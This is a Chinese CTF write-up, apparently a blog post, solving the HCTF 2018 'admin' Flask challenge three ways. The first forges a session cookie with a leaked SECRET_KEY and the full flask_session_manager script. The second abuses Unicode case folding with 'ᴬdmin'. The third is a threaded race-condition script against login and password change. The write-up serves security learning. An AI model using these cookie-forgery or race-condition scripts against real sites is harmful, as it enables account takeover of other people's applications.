[BUUCTF][HCTF 2018]admin

考点

  1. flask session伪造
  2. unicode欺骗
  3. 条件竞争

法一:flask session伪造

查看源码,提示you are not admin,猜测需要admin登录

注册登录,网站功能页面很多,依次查看源码,在change password界面发现源码

是一个flask框架,进入routes.py,看一下注册和登录部分的源码

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        return redirect(url_for('index'))
    return render_template('login.html', title = 'login', form = form)

根据登录逻辑,如果是已登陆状态,再次刷新会验证session,我们可以据此伪造成admin的session绕过登录

由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

我们可以用python脚本把flask的session解密出来,但是如果想要加密伪造生成我们自己的session的话,还需要知道flask用来签名的SECRET_KEY

全局搜索,在config.py中发现

class Config(object):
    SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
    SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
    SQLALCHEMY_TRACK_MODIFICATIONS = True

猜测这个ckj123就是密钥

使用脚本对其进行解加密

flask_session_manager.py

""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

脚本有加密解密两种功能:

解密:
python flask_session_manager.py decode -c -s 
# -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:
python flask_session_manager.py encode -s -t 
# -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式

先进行解密,将登录成功之后的cookie复制,填在对应参数后面(参数用引号括起来),得到:

image-20211116194522841

{'_fresh': True, '_id': b'34c682cab850f6adc36eca08b2c9be8e59105d8df741568de63e20758543f81b93568e59843adcf876fc1e877e2a19f9cd85aeb5970c424b680546afd81c78f2', 'csrf_token': b'd97754ea16e17aa9e761649413529025f0967910', 'image': b'wYpy', 'name': 'aaa', 'user_id': '10'}

将其中的name改为admin之后再进行加密

image-20211116194857026

将得到的cookie替换原来index页面的cookie即可伪造cookie,切换为admin用户

image-20211116195037724

关于flask中session的机制以及存在的漏洞,可以通过以下链接了解更多:

Python Web之flask session&格式化字符串漏洞

客户端 session 导致的安全问题

flask 源码解析:session

法二:Unicode欺骗

我们发现,不管是login、register还是change页面,只要是关于session['name']的操作,都先用了strlower函数将name转成小写,但是python中有自带的转小写函数lower,这里重写了一个,我们查看一下定义:

def strlower(username):
    username = nodeprep.prepare(username)
    return username

使用了nodeprep.prepare函数,该函数的作用是将大写转化为小写

但它同时会将unicode字符转换成A,而A再调用一次nodeprep.prepare函数会把A转换成a

也就是说我们可以使用ᴬdmin注册登录,登陆后再想办法让服务器再执行一次nodeprep.prepare,便可以变成admin账户

发现修改密码功能中存在

name = strlower(session['name'])

那么本题也就解出来了

法三:条件竞争

可以发现login函数和change函数都在没有完全check身份的情况下,执行了session有关的赋值。

我们可以这样设想,一个进程以正常账号一直依次进行登录、改密码操作,另一个进程同时一直依次进行注销、以admin用户名加进程1更改的新密码进行登录。就有可能出现当进程1进行到改密码函数时,进程2进行到登录操作,这个时候进程1需要从session中取出name,而进程2此时把session[‘name’]改成了admin。

条件竞争结束的标志为进程2登录操作成功,即重定向到/index

网上脚本:

import threading
import requests
import time

def login(s,username,password):
    data = {
        'username':username,
        'password':password,
        'submit':''
    }
    r  = s.post('http://13x.xx7.xx.xxx:9999/login',data=data)
    return r

def logout(s):
    s.get('http://13x.xx7.xx.xxx:9999/logout')

def change_pwd(s,newpass):
    data = {
        'newpassword':newpass
    }
    s.post('http://13x.xx7.xx.xxx:9999/change',data=data)

def func1(s):
    try:
        login(s,'Miracle778','Miracle778')
        change_pwd(s,'Miracle778')
    except Exception:
        pass

def func2(s):
    try:
        logout(s)
        r = login(s,'admin','Miracle778')
        if '<a href="/index">/index</a>' in r.text:
            print(r.text)
            exit(0)
    except Exception:
        pass

for i in range(10000):
    print(i)
    s = requests.Session()
    t1 = threading.Thread(target=func1,args=(s,))
    t2 = threading.Thread(target=func2,args=(s,))
    t2.start()
    t1.start()

感觉思路很有道理,但自己没有跑出来

参考链接:

https://www.jianshu.com/p/f92311564ad0

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值